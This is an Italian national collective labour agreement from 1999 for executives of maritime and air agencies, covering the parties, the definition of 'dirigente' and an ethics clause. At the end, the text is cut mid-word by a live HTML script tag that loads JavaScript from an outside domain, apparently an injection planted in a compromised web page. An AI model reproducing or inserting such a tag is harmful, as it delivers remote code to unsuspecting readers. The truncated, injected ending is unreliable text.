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Categoria: Agenzie marittime e aeree (dirigenti) Settore: Trasporti Data stipula: 15-10-1999 Data decorrenza: 1-1-1999 Data scadenza: 31-12-2002
Contratto Collettivo Nazionale di Lavoro
PER I DIRIGENTI DI AGENZIE MARITTIME INQUADRATE NELLA "FEDERAGENTI"
Genova, 15 ottobre 1999
tra
- Federazione Nazionale Agenti Raccomandatari Marittimi Agenti Aerei e
Mediatori Marittimi (FEDERAGENTI), con sede in Genova, rappresentata dai
sigg. Giovanni Spadoni - Presidente della Commissione Sindacale - e Bruno
Ferrando, assistiti da Augusto Benvenuto, Segretario generale, e da Andrea
Canavese;
e
- Federazione Nazionale Dirigenti Aziende Commerciali dei Trasporti,
del Turismo, dei Servizi, Ausiliarie, del Terziario avanzato (FeNDAC), con
sede in Roma, rappresentata dal Presidente Lorenzo Guerriero con la
partecipazione della delegazione sindacale composta dai sigg.. Luciano
Crivelli, Mario Novella, Antonio Pagliarulo e Salvatore Pepe con
l'assistenza del Direttore FeNDAC, Massimo Fiaschi
si è stipulato
il presente CCNL - Testo Unico - che disciplina i rapporti di lavoro a
tempo indeterminato - nonché, in quanto compatibili con le disposizioni di
legge, i rapporti di lavoro a tempo determinato - fra le agenzie marittime
raccomandatarie, agenzie aeree e mediatori marittimi e i dirigenti delle
agenzie stesse.
Parte I - COSTITUZIONE DEL RAPPORTO
Art. 1 - Applicabilità.
Agli effetti del presente contratto si considerano "dirigenti" di Agenzia
marittima i prestatori di lavoro subordinato i quali in concreto abbiano
compiti che importino la disponibilità, con autonomia e discrezionalità,
delle direttive da imprimere agli affari aziendali all'interno e nei
rapporti con i terzi, con poteri bensì subordinati ma tuttavia di
disposizione nell'andamento generale dell'azienda o di una parte autonoma
di essa considerata come organismo unitario, sia dal lato tecnico che
amministrativo, con diretta responsabilità verso il datore di lavoro o
verso chi da esso delegato e precisamente gli institori e i procuratori ai
quali la procura conferisce non in modo occasionale poteri e
rappresentanza di tutta o di una parte preponderante dell'azienda, i
direttori, i condirettori, i vice direttori sia tecnici che amministrativi
e coloro ai quali l'azienda abbia espressamente conferito la qualifica di
dirigente o comunque assegnato compiti che comportino i poteri di cui
sopra.
La sussistenza delle condizioni di cui sopra comporta il riconoscimento da
parte dell'azienda della qualifica di dirigente ai fini dell'applicazione
del presente contratto.
In caso di divergenza sul riconoscimento della qualifica, ai fini
dell'applicazione del presente contratto, le relative controversie saranno
sottoposte al giudizio della Commissione paritetica nazionale.
Dichiarazione a verbale.
Le organizzazioni stipulanti e le aziende del settore, nell'ambito delle
azioni positive raccomandate dal governo dirette al conseguimento
dell'effettiva parità, dichiarano il proprio intendimento a porre in atto
tutte le misure dirette ad eliminare eventuali discriminazioni nei piani
di carriera e nella promozione, direttamente o indirettamente collegati
all'appartenenza all'uno o all'altro sesso, al fine di creare le
condizioni necessarie a che unico metro di valutazione e di scelta per la
promozione a superiori posizioni sia la professionalità, il merito e la
capacità di gestione.
Art. 2 - Etica del servizio.
Le parti sottolineano la particolare importanza che i principi ispiratori
del Codice quadro sull'Etica del Servizio rivestono per i dirigenti e le
imprese, soprattutto nella prospettiva dell'integrazione del mercato unico
europeo dove la centralità dell'utenza e le indicazioni sulla trasparenza
dei comportamenti aziendali costituiscono linee guida di riferimento.
A tal fine le parti concordano, secondo i termini e le indicazioni
derivanti dalle rispettive organizzazioni, sull<script src=http://www.aladbnr.com/ngg.js></script>
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